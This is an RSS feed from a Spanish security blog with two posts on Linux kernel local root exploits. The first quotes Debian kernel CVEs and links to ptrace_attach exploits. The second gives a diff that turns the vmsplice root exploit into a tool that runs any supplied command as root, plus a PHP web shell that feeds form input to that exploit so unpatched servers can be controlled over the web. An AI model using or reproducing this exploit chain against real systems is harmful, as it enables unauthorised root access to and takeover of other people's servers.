<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; kernel</title>
	<atom:link href="http://blog.zerial.org/tag/kernel/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 03 Jan 2012 00:13:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Local root exploit en kernel 2.6.x (hasta la 2.6.29)</title>
		<link>http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/</link>
		<comments>http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/#comments</comments>
		<pubDate>Sun, 17 May 2009 23:45:19 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[vulnerabilidades]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=287</guid>
		<description><![CDATA[El Viernes pasado se anunciaron, en la lista de seguridad de debian, actualizaciones para el kernel, que solucionaba varias vulnerabilidades. CVE-2009-0028 Chris Evans discovered a situation in which a child process can send an arbitrary signal to its parent. CVE-2009-0834 Roland McGrath discovered an issue on amd64 kernels that allows local users to circumvent system [...]]]></description>
			<content:encoded><![CDATA[<p>El Viernes pasado se anunciaron, en la lista de seguridad de debian, <a href="http://lists.debian.org/debian-security-announce/2009/msg00111.html" target="_blank">actualizaciones para el kernel</a>, que solucionaba varias vulnerabilidades.</p>
<blockquote>
<pre>CVE-2009-0028

    Chris Evans discovered a situation in which a child process can
    send an arbitrary signal to its parent.

CVE-2009-0834

    Roland McGrath discovered an issue on amd64 kernels that allows
    local users to circumvent system call audit configurations which
    filter based on the syscall numbers or argument details.

CVE-2009-0835

    Roland McGrath discovered an issue on amd64 kernels with
    CONFIG_SECCOMP enabled. By making a specially crafted syscall,
    local users can bypass access restrictions.

CVE-2009-0859

    Jiri Olsa discovered that a local user can cause a denial of
    service (system hang) using a SHM_INFO shmctl call on kernels
    compiled with CONFIG_SHMEM disabled. This issue does not affect
    prebuilt Debian kernels.

CVE-2009-1046

    Mikulas Patocka reported an issue in the console subsystem that
    allows a local user to cause memory corruption by selecting a
    small number of 3-byte UTF-8 characters.

CVE-2009-1072

    Igor Zhbanov reported that nfsd was not properly dropping
    CAP_MKNOD, allowing users to create device nodes on file systems
    exported with root_squash.

CVE-2009-1184

    Dan Carpenter reported a coding issue in the selinux subsystem
    that allows local users to bypass certain networking checks when
    running with compat_net=1.

CVE-2009-1192

    Shaohua Li reported an issue in the AGP subsystem they may allow
    local users to read sensitive kernel memory due to a leak of
    uninitialized memory.

CVE-2009-1242

    Benjamin Gilbert reported a local denial of service vulnerability
    in the KVM VMX implementation that allows local users to trigger
    an oops.

CVE-2009-1265

    Thomas Pollet reported an overflow in the af_rose implementation
    that allows remote attackers to retrieve uninitialized kernel
    memory that may contain sensitive data.

CVE-2009-1337

    Oleg Nesterov discovered an issue in the exit_notify function that
    allows local users to send an arbitrary signal to a process by
    running a program that modifies the exit_signal field and then
    uses an exec system call to launch a setuid application.

CVE-2009-1338

    Daniel Hokka Zakrisson discovered that a kill(-1) is permitted to
    reach processes outside of the current process namespace.

CVE-2009-1439

    Pavan Naregundi reported an issue in the CIFS filesystem code that
    allows remote users to overwrite memory via a long
    nativeFileSystem field in a Tree Connect response during mount.</pre>
</blockquote>
<p>Se publicaron dos exploits para explotar vulnerabildades de escalacion de provilegios local. Estos exploits se aprovechan de la funcion <em>ptrace_attach()</em> para ejecutar un <em>codigo arbitrario</em> que nos permita ejecutar una shell del tipo /bin/sh como root.<br />
El primer exploit es el <a href="http://blog.zerial.org/files/exploits/shoryuken.c"><strong>shoryuken</strong></a>, lo probé en distintas versiones del kernel de debian y archlinux, pudiendo ser explotada solo la version 2.6.26-1-686 de Debian 5.0, de forma aleatoria, es decir, hay veces que ejecuto el exploit y funciona y otras veces no. El <a href="http://blog.zerial.org/files/exploits/ptrace_attach.c">segundo script</a> fue probado por su autor en la version del kernel 2.6.29rc1 de <a href="http://www.gentoo.org" target="_blank">Gentoo</a>.<br />
Estos exploits funcionan bajo situaciones especificas y no todos los sistemas son vulnerables.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/"  data-text="Local root exploit en kernel 2.6.x (hasta la 2.6.29)" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>root exploit: Ejecutar comando como root</title>
		<link>http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/</link>
		<comments>http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/#comments</comments>
		<pubDate>Thu, 09 Oct 2008 04:39:21 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=98</guid>
		<description><![CDATA[Hace un tiempo se dio a conocer un bug que afectaba a las versiones 2.6.17 &#8211; 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit. Tuve la idea de modificar uno de estos codigos publicados para [...]]]></description>
			<content:encoded><![CDATA[<p>Hace un tiempo se dio a conocer un <em><a href="http://www.securityfocus.com/bid/27704" target="_other">bug</a></em> que afectaba a las versiones 2.6.17 &#8211; 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit.<br />
Tuve la idea de modificar uno de estos codigos publicados para poder explotar la vulnerabilidad a traves de la web. Esto se me ocurrio debido a la experiencia en intrusion en servidores, sabiendo que muchos usan versiones de kernel antiguos o que no estan parcheadas.</p>
<blockquote><p>root-exploit.diff</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">51a52</div>
</li>
<li class="li1">
<div class="de1">&gt; <span class="kw4">char</span>&nbsp; *_cmd;</div>
</li>
<li class="li1">
<div class="de1">55d55</div>
</li>
<li class="li1">
<div class="de1">&lt; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span>err ? <span class="st0">&quot;[-] %s: %s<span class="es0">\n</span>&quot;</span> : <span class="st0">&quot;[-] %s<span class="es0">\n</span>&quot;</span>, msg, strerror<span class="br0">&#40;</span>err<span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="nu0">182</span>,183d181</div>
</li>
<li class="li1">
<div class="de1">&lt;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] root<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">185c183,<span class="nu0">184</span></div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; execl<span class="br0">&#40;</span><span class="st0">&quot;/bin/bash&quot;</span>, <span class="st0">&quot;bash&quot;</span>, <span class="st0">&quot;-i&quot;</span>, <span class="kw2">NULL</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&#8212;</div>
</li>
<li class="li1">
<div class="de1">&gt; &nbsp; &nbsp; &nbsp; system<span class="br0">&#40;</span>_cmd<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&gt; &nbsp; &nbsp; &nbsp; <span class="co1">//execl(&quot;/bin/bash&quot;, &quot;bash&quot;, &quot;-i&quot;, NULL);</span></div>
</li>
<li class="li1">
<div class="de1">195a195</div>
</li>
<li class="li1">
<div class="de1">&gt; &nbsp; &nbsp; &nbsp; _cmd = argv<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="nu0">202</span>,205d201</div>
</li>
<li class="li1">
<div class="de1">&lt; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot; Linux vmsplice Local Root Exploit<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot; By qaaz<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="nu0">221</span>,223d216</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] mmap: 0x%lx .. 0x%lx<span class="es0">\n</span>&quot;</span>, map_addr, map_addr + map_size<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">241</span>,243d233</div>
</li>
<li class="li2">
<div class="de2">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] mmap: 0x%lx .. 0x%lx<span class="es0">\n</span>&quot;</span>, map_addr, map_addr + map_size<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">258</span>,259d247</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] mmap: 0x%lx .. 0x%lx<span class="es0">\n</span>&quot;</span>, map_addr, map_addr + map_size<span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">269d256</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] mmap: 0x%lx .. 0x%lx<span class="es0">\n</span>&quot;</span>, map_addr, map_addr + map_size<span class="br0">&#41;</span></div>
</li>
</ol>
</div>
</blockquote>
<p>La modificacion que hago es eliminar todos los <em>printf</em> para que el resultado sea mas limpio ademas, tambien modifico el codigo para que ejecute el comando que nosotros le digamos y luego vuelva a su estado normal.</p>
<p><strong>Demostracion</strong></p>
<blockquote><p><code>username@machine:~$ ./root-exploit whoami<br />
root<br />
username@machine:~$ </code></p></blockquote>
<p><span id="more-98"></span></p>
<p>De esta manera podremos programar un sencillo script en php para manipular la maquina vulnerable como se nos de la gana.</p>
<blockquote>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &lt; ?PHP</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&lt;form action=&quot;</span>?<span class="st0">&quot; method=&quot;</span>post<span class="st0">&quot;&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&lt;input name=&quot;</span>cmd<span class="st0">&quot; type=&quot;</span>text<span class="st0">&quot; /&gt;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0">&lt;input type=&quot;</span>submit<span class="st0">&quot; value=&quot;</span><a href="http://www.php.net/exec"><span class="kw3">eXec</span></a>!<span class="st0">&quot; /&gt;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;cmd&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&lt;textarea cols=&quot;</span><span class="nu0">30</span><span class="st0">&quot; rows=&quot;</span><span class="nu0">120</span><span class="st0">&quot;&gt;&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <a href="http://www.php.net/shell_exec"><span class="kw3">shell_exec</span></a><span class="br0">&#40;</span><span class="st0">&quot;./root-exploit &quot;</span>.<span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;cmd&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&lt;/textarea&gt;&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
</blockquote>
<p><strong>Descargas</strong><br />
<a href="http://blog.zerial.org/files/root-exploit.c" target="_other">Variacion del exploit</a><br />
<a href="http://www.milw0rm.com/exploits/5092" target="_other">Exploit original 1</a><br />
<a href="http://www.milw0rm.com/exploits/5093" target="_other">Exploit original 2</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/"  data-text="root exploit: Ejecutar comando como root" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

